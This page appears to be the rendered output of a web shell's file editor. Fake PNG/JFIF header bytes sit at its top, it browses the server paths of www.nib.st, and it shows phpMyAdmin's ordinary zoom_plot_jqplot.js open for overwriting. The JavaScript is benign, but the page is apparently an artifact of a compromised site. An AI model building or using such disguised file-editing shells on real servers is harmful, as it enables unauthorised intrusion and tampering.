�PNG
�JFIF������
<style>  
body { background:#1a1a1a; color:#ccc; font-family:monospace; padding:20px; }  
a { color:#6cf; text-decoration:none; }  
a:hover { text-decoration:underline; }  
textarea,input[type=text] { width:100%; font-family:monospace; background:#222; color:#fff; border:1px solid #444; }  
input[type=submit] { background:#333; color:#fff; border:none; padding:5px 10px; }  
</style><h2>🗂️ simple</h2><p><b>Path:</b> <a href='?path=%2Fbig%2F'>big</a>/<a href='?path=%2Fbig%2Fweb%2F'>web</a>/<a href='?path=%2Fbig%2Fweb%2Fwww.nib.st%2F'>www.nib.st</a>/<a href='?path=%2Fbig%2Fweb%2Fwww.nib.st%2Fhtdocs%2F'>htdocs</a>/<a href='?path=%2Fbig%2Fweb%2Fwww.nib.st%2Fhtdocs%2FphpMyAdmin%2F'>phpMyAdmin</a>/<a href='?path=%2Fbig%2Fweb%2Fwww.nib.st%2Fhtdocs%2FphpMyAdmin%2Fjs%2F'>js</a>/<a href='?path=%2Fbig%2Fweb%2Fwww.nib.st%2Fhtdocs%2FphpMyAdmin%2Fjs%2Fsrc%2F'>src</a>/<a href='?path=%2Fbig%2Fweb%2Fwww.nib.st%2Fhtdocs%2FphpMyAdmin%2Fjs%2Fsrc%2Ftable%2F'>table</a>/</p><hr><h3>✏️ Editing: zoom_plot_jqplot.js</h3>  
        <form method='post'>  
            <textarea name='content' rows='20'>// TODO: change the axis
/**
 ** @fileoverview JavaScript functions used on /table/search
 **
 ** @requires    jQuery
 ** @requires    js/functions.js
 **/

/* global changeValueFieldType, verifyAfterSearchFieldChange */ // js/table/change.js

/**
 **  Display Help/Info
 **/
function displayHelp () {
    $(&#039;&lt;div&gt;&lt;/div&gt;&#039;)
        .append(Messages.strDisplayHelp)
        .appendTo(&#039;#page_content&#039;)
        .dialog({
            width: 450,
            height: &#039;auto&#039;,
            title: Messages.strHelpTitle
        });
    return false;
}

/**
 ** Extend the array object for max function
 ** @param array
 **/
Array.max = function (array) {
    return Math.max.apply(Math, array);
};

/**
 ** Extend the array object for min function
 ** @param array
 **/
Array.min = function (array) {
    return Math.min.apply(Math, array);
};

/**
 ** Checks if a string contains only numeric value
 ** @param n: String (to be checked)
 **/
function isNumeric (n) {
    return !isNaN(parseFloat(n)) &amp;&amp; isFinite(n);
}

/**
 ** Checks if an object is empty
 ** @param n: Object (to be checked)
 **/
function isEmpty (obj) {
    var name;
    for (name in obj) {
        return false;
    }
    return true;
}

/**
 ** Converts a date/time into timestamp
 ** @param val  String Date
 ** @param type String  Field type(datetime/timestamp/time/date)
 **/
function getTimeStamp (val, type) {
    if (type.toString().search(/datetime/i) !== -1 ||
        type.toString().search(/timestamp/i) !== -1
    ) {
        return $.datepicker.parseDateTime(&#039;yy-mm-dd&#039;, &#039;HH:mm:ss&#039;, val);
    } else if (type.toString().search(/time/i) !== -1) {
        return $.datepicker.parseDateTime(&#039;yy-mm-dd&#039;, &#039;HH:mm:ss&#039;, &#039;1970-01-01 &#039; + val);
    } else if (type.toString().search(/date/i) !== -1) {
        return $.datepicker.parseDate(&#039;yy-mm-dd&#039;, val);
    }
}

/**
 ** Classifies the field type into numeric,timeseries or text
 ** @param field: field type (as in database structure)
 **/
function getType (field) {
    if (field.toString().search(/int/i) !== -1 ||
        field.toString().search(/decimal/i) !== -1 ||
        field.toString().search(/year/i) !== -1
    ) {
        return &#039;numeric&#039;;
    } else if (field.toString().search(/time/i) !== -1 ||
        field.toString().search(/date/i) !== -1
    ) {
        return &#039;time&#039;;
    } else {
        return &#039;text&#039;;
    }
}

/**
 * Unbind all event handlers before tearing down a page
 */
AJAX.registerTeardown(&#039;table/zoom_plot_jqplot.js&#039;, function () {
    $(&#039;#tableid_0&#039;).off(&#039;change&#039;);
    $(&#039;#tableid_1&#039;).off(&#039;change&#039;);
    $(&#039;#tableid_2&#039;).off(&#039;change&#039;);
    $(&#039;#tableid_3&#039;).off(&#039;change&#039;);
    $(&#039;#inputFormSubmitId&#039;).off(&#039;click&#039;);
    $(&#039;#togglesearchformlink&#039;).off(&#039;click&#039;);
    $(document).off(&#039;keydown&#039;, &#039;#dataDisplay :input&#039;);
    $(&#039;button.button-reset&#039;).off(&#039;click&#039;);
    $(&#039;div#resizer&#039;).off(&#039;resizestop&#039;);
    $(&#039;div#querychart&#039;).off(&#039;jqplotDataClick&#039;);
});

AJAX.registerOnload(&#039;table/zoom_plot_jqplot.js&#039;, function () {
    var currentChart = null;
    var searchedDataKey = null;
    var xLabel = $(&#039;#tableid_0&#039;).val();
    var yLabel = $(&#039;#tableid_1&#039;).val();
    // will be updated via Ajax
    var xType = $(&#039;#types_0&#039;).val();
    var yType = $(&#039;#types_1&#039;).val();
    var dataLabel = $(&#039;#dataLabel&#039;).val();

    // Get query result
    var searchedData;
    try {
        searchedData = JSON.parse($(&#039;#querydata&#039;).html());
    } catch (err) {
        searchedData = null;
    }

    // adding event listener on select after AJAX request
    var comparisonOperatorOnChange = function () {
        var tableRows = $(&#039;#inputSection select.column-operator&#039;);
        $.each(tableRows, function (index, item) {
            $(item).on(&#039;change&#039;, function () {
                changeValueFieldType(this, index);
                verifyAfterSearchFieldChange(index, &#039;#zoom_search_form&#039;);
            });
        });
    };

    /**
     ** Input form submit on field change
     **/

    // first column choice corresponds to the X axis
    $(&#039;#tableid_0&#039;).on(&#039;change&#039;, function () {
        // AJAX request for field type, collation, operators, and value field
        $.post(&#039;index.php?route=/table/zoom-search&#039;, {
            &#039;ajax_request&#039; : true,
            &#039;change_tbl_info&#039; : true,
            &#039;server&#039; : CommonParams.get(&#039;server&#039;),
            &#039;db&#039; : CommonParams.get(&#039;db&#039;),
            &#039;table&#039; : CommonParams.get(&#039;table&#039;),
            &#039;field&#039; : $(&#039;#tableid_0&#039;).val(),
            &#039;it&#039; : 0
        }, function (data) {
            $(&#039;#tableFieldsId&#039;).find(&#039;tr&#039;).eq(1).find(&#039;td&#039;).eq(0).html(data.field_type);
            $(&#039;#tableFieldsId&#039;).find(&#039;tr&#039;).eq(1).find(&#039;td&#039;).eq(1).html(data.field_collation);
            $(&#039;#tableFieldsId&#039;).find(&#039;tr&#039;).eq(1).find(&#039;td&#039;).eq(2).html(data.field_operators);
            $(&#039;#tableFieldsId&#039;).find(&#039;tr&#039;).eq(1).find(&#039;td&#039;).eq(3).html(data.field_value);
            xLabel = $(&#039;#tableid_0&#039;).val();
            $(&#039;#types_0&#039;).val(data.field_type);
            xType = data.field_type;
            $(&#039;#collations_0&#039;).val(data.field_collations);
            comparisonOperatorOnChange();
            Functions.addDateTimePicker();
        });
    });

    // second column choice corresponds to the Y axis
    $(&#039;#tableid_1&#039;).on(&#039;change&#039;, function () {
        // AJAX request for field type, collation, operators, and value field
        $.post(&#039;index.php?route=/table/zoom-search&#039;, {
            &#039;ajax_request&#039; : true,
            &#039;change_tbl_info&#039; : true,
            &#039;server&#039; : CommonParams.get(&#039;server&#039;),
            &#039;db&#039; : CommonParams.get(&#039;db&#039;),
            &#039;table&#039; : CommonParams.get(&#039;table&#039;),
            &#039;field&#039; : $(&#039;#tableid_1&#039;).val(),
            &#039;it&#039; : 1
        }, function (data) {
            $(&#039;#tableFieldsId&#039;).find(&#039;tr&#039;).eq(2).find(&#039;td&#039;).eq(0).html(data.field_type);
            $(&#039;#tableFieldsId&#039;).find(&#039;tr&#039;).eq(2).find(&#039;td&#039;).eq(1).html(data.field_collation);
            $(&#039;#tableFieldsId&#039;).find(&#039;tr&#039;).eq(2).find(&#039;td&#039;).eq(2).html(data.field_operators);
            $(&#039;#tableFieldsId&#039;).find(&#039;tr&#039;).eq(2).find(&#039;td&#039;).eq(3).html(data.field_value);
            yLabel = $(&#039;#tableid_1&#039;).val();
            $(&#039;#types_1&#039;).val(data.field_type);
            yType = data.field_type;
            $(&#039;#collations_1&#039;).val(data.field_collations);
            comparisonOperatorOnChange();
            Functions.addDateTimePicker();
        });
    });

    $(&#039;#tableid_2&#039;).on(&#039;change&#039;, function () {
        // AJAX request for field type, collation, operators, and value field
        $.post(&#039;index.php?route=/table/zoom-search&#039;, {
            &#039;ajax_request&#039; : true,
            &#039;change_tbl_info&#039; : true,
            &#039;server&#039; : CommonParams.get(&#039;server&#039;),
            &#039;db&#039; : CommonParams.get(&#039;db&#039;),
            &#039;table&#039; : CommonParams.get(&#039;table&#039;),
            &#039;field&#039; : $(&#039;#tableid_2&#039;).val(),
            &#039;it&#039; : 2
        }, function (data) {
            $(&#039;#tableFieldsId&#039;).find(&#039;tr&#039;).eq(4).find(&#039;td&#039;).eq(0).html(data.field_type);
            $(&#039;#tableFieldsId&#039;).find(&#039;tr&#039;).eq(4).find(&#039;td&#039;).eq(1).html(data.field_collation);
            $(&#039;#tableFieldsId&#039;).find(&#039;tr&#039;).eq(4).find(&#039;td&#039;).eq(2).html(data.field_operators);
            $(&#039;#tableFieldsId&#039;).find(&#039;tr&#039;).eq(4).find(&#039;td&#039;).eq(3).html(data.field_value);
            $(&#039;#types_2&#039;).val(data.field_type);
            $(&#039;#collations_2&#039;).val(data.field_collations);
            comparisonOperatorOnChange();
            Functions.addDateTimePicker();
        });
    });

    $(&#039;#tableid_3&#039;).on(&#039;change&#039;, function () {
        // AJAX request for field type, collation, operators, and value field
        $.post(&#039;index.php?route=/table/zoom-search&#039;, {
            &#039;ajax_request&#039; : true,
            &#039;change_tbl_info&#039; : true,
            &#039;server&#039; : CommonParams.get(&#039;server&#039;),
            &#039;db&#039; : CommonParams.get(&#039;db&#039;),
            &#039;table&#039; : CommonParams.get(&#039;table&#039;),
            &#039;field&#039; : $(&#039;#tableid_3&#039;).val(),
            &#039;it&#039; : 3
        }, function (data) {
            $(&#039;#tableFieldsId&#039;).find(&#039;tr&#039;).eq(5).find(&#039;td&#039;).eq(0).html(data.field_type);
            $(&#039;#tableFieldsId&#039;).find(&#039;tr&#039;).eq(5).find(&#039;td&#039;).eq(1).html(data.field_collation);
            $(&#039;#tableFieldsId&#039;).find(&#039;tr&#039;).eq(5).find(&#039;td&#039;).eq(2).html(data.field_operators);
            $(&#039;#tableFieldsId&#039;).find(&#039;tr&#039;).eq(5).find(&#039;td&#039;).eq(3).html(data.field_value);
            $(&#039;#types_3&#039;).val(data.field_type);
            $(&#039;#collations_3&#039;).val(data.field_collations);
            comparisonOperatorOnChange();
            Functions.addDateTimePicker();
        });
    });

    /**
     * Input form validation
     **/
    $(&#039;#inputFormSubmitId&#039;).on(&#039;click&#039;, function () {
        if ($(&#039;#tableid_0&#039;).get(0).selectedIndex === 0 || $(&#039;#tableid_1&#039;).get(0).selectedIndex === 0) {
            Functions.ajaxShowMessage(Messages.strInputNull);
        } else if (xLabel === yLabel) {
            Functions.ajaxShowMessage(Messages.strSameInputs);
        }
    });

    /**
      ** Prepare a div containing a link, otherwise it&#039;s incorrectly displayed
      ** after a couple of clicks
      **/
    $(&#039;&lt;div id=&quot;togglesearchformdiv&quot;&gt;&lt;a id=&quot;togglesearchformlink&quot;&gt;&lt;/a&gt;&lt;/div&gt;&#039;)
        .insertAfter(&#039;#zoom_search_form&#039;)
        // don&#039;t show it until we have results on-screen
        .hide();

    $(&#039;#togglesearchformlink&#039;)
        .html(Messages.strShowSearchCriteria)
        .on(&#039;click&#039;, function () {
            var $link = $(this);
            $(&#039;#zoom_search_form&#039;).slideToggle();
            if ($link.text() === Messages.strHideSearchCriteria) {
                $link.text(Messages.strShowSearchCriteria);
            } else {
                $link.text(Messages.strHideSearchCriteria);
            }
            // avoid default click action
            return false;
        });

    /**
     ** Set dialog properties for the data display form
     **/
    var buttonOptions = {};
    /*
     * Handle saving of a row in the editor
     */
    buttonOptions[Messages.strSave] = function () {
        // Find changed values by comparing form values with selectedRow Object
        var newValues = {};// Stores the values changed from original
        var sqlTypes = {};
        var it = 0;
        var xChange = false;
        var yChange = false;
        var key;
        var tempGetVal = function () {
            return $(this).val();
        };
        for (key in selectedRow) {
            var oldVal = selectedRow[key];
            var newVal = ($(&#039;#edit_fields_null_id_&#039; + it).prop(&#039;checked&#039;)) ? null : $(&#039;#edit_fieldID_&#039; + it).val();
            if (newVal instanceof Array) { // when the column is of type SET
                newVal =  $(&#039;#edit_fieldID_&#039; + it).map(tempGetVal).get().join(&#039;,&#039;);
            }
            if (oldVal !== newVal) {
                selectedRow[key] = newVal;
                newValues[key] = newVal;
                if (key === xLabel) {
                    xChange = true;
                    searchedData[searchedDataKey][xLabel] = newVal;
                } else if (key === yLabel) {
                    yChange = true;
                    searchedData[searchedDataKey][yLabel] = newVal;
                }
            }
            var $input = $(&#039;#edit_fieldID_&#039; + it);
            if ($input.hasClass(&#039;bit&#039;)) {
                sqlTypes[key] = &#039;bit&#039;;
            } else {
                sqlTypes[key] = null;
            }
            it++;
        } // End data update

        // Update the chart series and replot
        if (xChange || yChange) {
            // Logic similar to plot generation, replot only if xAxis changes or yAxis changes.
            // Code includes a lot of checks so as to replot only when necessary
            if (xChange) {
                xCord[searchedDataKey] = selectedRow[xLabel];
                // [searchedDataKey][0] contains the x value
                if (xType === &#039;numeric&#039;) {
                    series[0][searchedDataKey][0] = selectedRow[xLabel];
                } else if (xType === &#039;time&#039;) {
                    series[0][searchedDataKey][0] =
                        getTimeStamp(selectedRow[xLabel], $(&#039;#types_0&#039;).val());
                } else {
                    series[0][searchedDataKey][0] = &#039;&#039;;
                    // TODO: text values
                }
                currentChart.series[0].data = series[0];
                // TODO: axis changing
                currentChart.replot();
            }
            if (yChange) {
                yCord[searchedDataKey] = selectedRow[yLabel];
                // [searchedDataKey][1] contains the y value
                if (yType === &#039;numeric&#039;) {
                    series[0][searchedDataKey][1] = selectedRow[yLabel];
                } else if (yType === &#039;time&#039;) {
                    series[0][searchedDataKey][1] =
                        getTimeStamp(selectedRow[yLabel], $(&#039;#types_1&#039;).val());
                } else {
                    series[0][searchedDataKey][1] = &#039;&#039;;
                    // TODO: text values
                }
                currentChart.series[0].data = series[0];
                // TODO: axis changing
                currentChart.replot();
            }
        } // End plot update

        // Generate SQL query for update
        if (!isEmpty(newValues)) {
            var sqlQuery = &#039;UPDATE `&#039; + CommonParams.get(&#039;table&#039;) + &#039;` SET &#039;;
            for (key in newValues) {
                sqlQuery += &#039;`&#039; + key + &#039;`=&#039;;
                var value = newValues[key];

                // null
                if (value === null) {
                    sqlQuery += &#039;NULL, &#039;;

                // empty
                } else if (value.trim() === &#039;&#039;) {
                    sqlQuery += &#039;\&#039;\&#039;, &#039;;

                // other
                } else {
                    // type explicitly identified
                    if (sqlTypes[key] !== null) {
                        if (sqlTypes[key] === &#039;bit&#039;) {
                            sqlQuery += &#039;b\&#039;&#039; + value + &#039;\&#039;, &#039;;
                        }
                    // type not explicitly identified
                    } else {
                        if (!isNumeric(value)) {
                            sqlQuery += &#039;\&#039;&#039; + value + &#039;\&#039;, &#039;;
                        } else {
                            sqlQuery += value + &#039;, &#039;;
                        }
                    }
                }
            }
            // remove two extraneous characters &#039;, &#039;
            sqlQuery = sqlQuery.substring(0, sqlQuery.length - 2);
            sqlQuery += &#039; WHERE &#039; + Sql.urlDecode(searchedData[searchedDataKey].where_clause);

            $.post(&#039;index.php?route=/sql&#039;, {
                &#039;server&#039; : CommonParams.get(&#039;server&#039;),
                &#039;db&#039; : CommonParams.get(&#039;db&#039;),
                &#039;ajax_request&#039; : true,
                &#039;sql_query&#039; : sqlQuery,
                &#039;inline_edit&#039; : false
            }, function (data) {
                if (typeof data !== &#039;undefined&#039; &amp;&amp; data.success === true) {
                    $(&#039;#sqlqueryresultsouter&#039;).html(data.sql_query);
                    Functions.highlightSql($(&#039;#sqlqueryresultsouter&#039;));
                } else {
                    Functions.ajaxShowMessage(data.error, false);
                }
            }); // End $.post
        }// End database update
        $(&#039;#dataDisplay&#039;).dialog(&#039;close&#039;);
    };
    buttonOptions[Messages.strCancel] = function () {
        $(this).dialog(&#039;close&#039;);
    };
    $(&#039;#dataDisplay&#039;).dialog({
        autoOpen: false,
        title: Messages.strDataPointContent,
        modal: true,
        buttons: buttonOptions,
        width: $(&#039;#dataDisplay&#039;).width() + 80,
        open: function () {
            $(this).find(&#039;input[type=checkbox]&#039;).css(&#039;margin&#039;, &#039;0.5em&#039;);
        }
    });
    /**
     * Attach Ajax event handlers for input fields
     * in the dialog. Used to submit the Ajax
     * request when the ENTER key is pressed.
     */
    $(document).on(&#039;keydown&#039;, &#039;#dataDisplay :input&#039;, function (e) {
        if (e.which === 13) { // 13 is the ENTER key
            e.preventDefault();
            if (typeof buttonOptions[Messages.strSave] === &#039;function&#039;) {
                buttonOptions[Messages.strSave].call();
            }
        }
    });


    /*
     * Generate plot using jqplot
     */

    if (searchedData !== null) {
        $(&#039;#zoom_search_form&#039;)
            .slideToggle()
            .hide();
        $(&#039;#togglesearchformlink&#039;)
            .text(Messages.strShowSearchCriteria);
        $(&#039;#togglesearchformdiv&#039;).show();
        var selectedRow;
        var series = [];
        var xCord = [];
        var yCord = [];
        var xVal;
        var yVal;
        var format;

        var options = {
            series: [
                // for a scatter plot
                { showLine: false }
            ],
            grid: {
                drawBorder: false,
                shadow: false,
                background: &#039;rgba(0,0,0,0)&#039;
            },
            axes: {
                xaxis: {
                    label: $(&#039;#tableid_0&#039;).val(),
                    labelRenderer: $.jqplot.CanvasAxisLabelRenderer
                },
                yaxis: {
                    label: $(&#039;#tableid_1&#039;).val(),
                    labelRenderer: $.jqplot.CanvasAxisLabelRenderer
                }
            },
            highlighter: {
                show: true,
                tooltipAxes: &#039;y&#039;,
                yvalues: 2,
                // hide the first y value
                formatString: &#039;&lt;span class=&quot;hide&quot;&gt;%s&lt;/span&gt;%s&#039;
            },
            cursor: {
                show: true,
                zoom: true,
                showTooltip: false
            }
        };

        // If data label is not set, do not show tooltips
        if (dataLabel === &#039;&#039;) {
            options.highlighter.show = false;
        }

        // Classify types as either numeric,time,text
        xType = getType(xType);
        yType = getType(yType);

        // could have multiple series but we&#039;ll have just one
        series[0] = [];

        if (xType === &#039;time&#039;) {
            var originalXType = $(&#039;#types_0&#039;).val();
            if (originalXType === &#039;date&#039;) {
                format = &#039;%Y-%m-%d&#039;;
            }
            // TODO: does not seem to work
            // else if (originalXType === &#039;time&#039;) {
            //  format = &#039;%H:%M&#039;;
            // } else {
            //    format = &#039;%Y-%m-%d %H:%M&#039;;
            // }
            $.extend(options.axes.xaxis, {
                renderer: $.jqplot.DateAxisRenderer,
                tickOptions: {
                    formatString: format
                }
            });
        }
        if (yType === &#039;time&#039;) {
            var originalYType = $(&#039;#types_1&#039;).val();
            if (originalYType === &#039;date&#039;) {
                format = &#039;%Y-%m-%d&#039;;
            }
            $.extend(options.axes.yaxis, {
                renderer: $.jqplot.DateAxisRenderer,
                tickOptions: {
                    formatString: format
                }
            });
        }

        $.each(searchedData, function (key, value) {
            if (xType === &#039;numeric&#039;) {
                xVal = parseFloat(value[xLabel]);
            }
            if (xType === &#039;time&#039;) {
                xVal = getTimeStamp(value[xLabel], originalXType);
            }
            if (yType === &#039;numeric&#039;) {
                yVal = parseFloat(value[yLabel]);
            }
            if (yType === &#039;time&#039;) {
                yVal = getTimeStamp(value[yLabel], originalYType);
            }
            series[0].push([
                xVal,
                yVal,
                // extra Y values
                value[dataLabel], // for highlighter
                // (may set an undefined value)
                value.where_clause, // for click on point
                key,               // key from searchedData
                value.where_clause_sign
            ]);
        });

        // under IE 8, the initial display is mangled; after a manual
        // resizing, it&#039;s ok
        // under IE 9, everything is fine
        currentChart = $.jqplot(&#039;querychart&#039;, series, options);
        currentChart.resetZoom();

        $(&#039;button.button-reset&#039;).on(&#039;click&#039;, function (event) {
            event.preventDefault();
            currentChart.resetZoom();
        });

        $(&#039;div#resizer&#039;).resizable();
        $(&#039;div#resizer&#039;).on(&#039;resizestop&#039;, function () {
            // make room so that the handle will still appear
            $(&#039;div#querychart&#039;).height($(&#039;div#resizer&#039;).height() * 0.96);
            $(&#039;div#querychart&#039;).width($(&#039;div#resizer&#039;).width() * 0.96);
            currentChart.replot({ resetAxes: true });
        });

        $(&#039;div#querychart&#039;).on(&#039;jqplotDataClick&#039;,
            function (event, seriesIndex, pointIndex, data) {
                searchedDataKey = data[4]; // key from searchedData (global)
                var fieldId = 0;
                var postParams = {
                    &#039;ajax_request&#039; : true,
                    &#039;get_data_row&#039; : true,
                    &#039;server&#039; : CommonParams.get(&#039;server&#039;),
                    &#039;db&#039; : CommonParams.get(&#039;db&#039;),
                    &#039;table&#039; : CommonParams.get(&#039;table&#039;),
                    &#039;where_clause&#039; : data[3],
                    &#039;where_clause_sign&#039; : data[5]
                };

                $.post(&#039;index.php?route=/table/zoom-search&#039;, postParams, function (data) {
                    // Row is contained in data.row_info,
                    // now fill the displayResultForm with row values
                    var key;
                    for (key in data.row_info) {
                        var $field = $(&#039;#edit_fieldID_&#039; + fieldId);
                        var $fieldNull = $(&#039;#edit_fields_null_id_&#039; + fieldId);
                        if (data.row_info[key] === null) {
                            $fieldNull.prop(&#039;checked&#039;, true);
                            $field.val(&#039;&#039;);
                        } else {
                            $fieldNull.prop(&#039;checked&#039;, false);
                            if ($field.attr(&#039;multiple&#039;)) { // when the column is of type SET
                                $field.val(data.row_info[key].split(&#039;,&#039;));
                            } else {
                                $field.val(data.row_info[key]);
                            }
                        }
                        fieldId++;
                    }
                    selectedRow = data.row_info;
                });

                $(&#039;#dataDisplay&#039;).dialog(&#039;open&#039;);
            }
        );
    }

    $(&#039;#help_dialog&#039;).on(&#039;click&#039;, function () {
        displayHelp();
    });
});
</textarea><br>  
            <input type='submit' value='Save'>  
        </form>  
        <p><a href='?path=%2Fbig%2Fweb%2Fwww.nib.st%2Fhtdocs%2FphpMyAdmin%2Fjs%2Fsrc%2Ftable'>🔙 Back</a></p>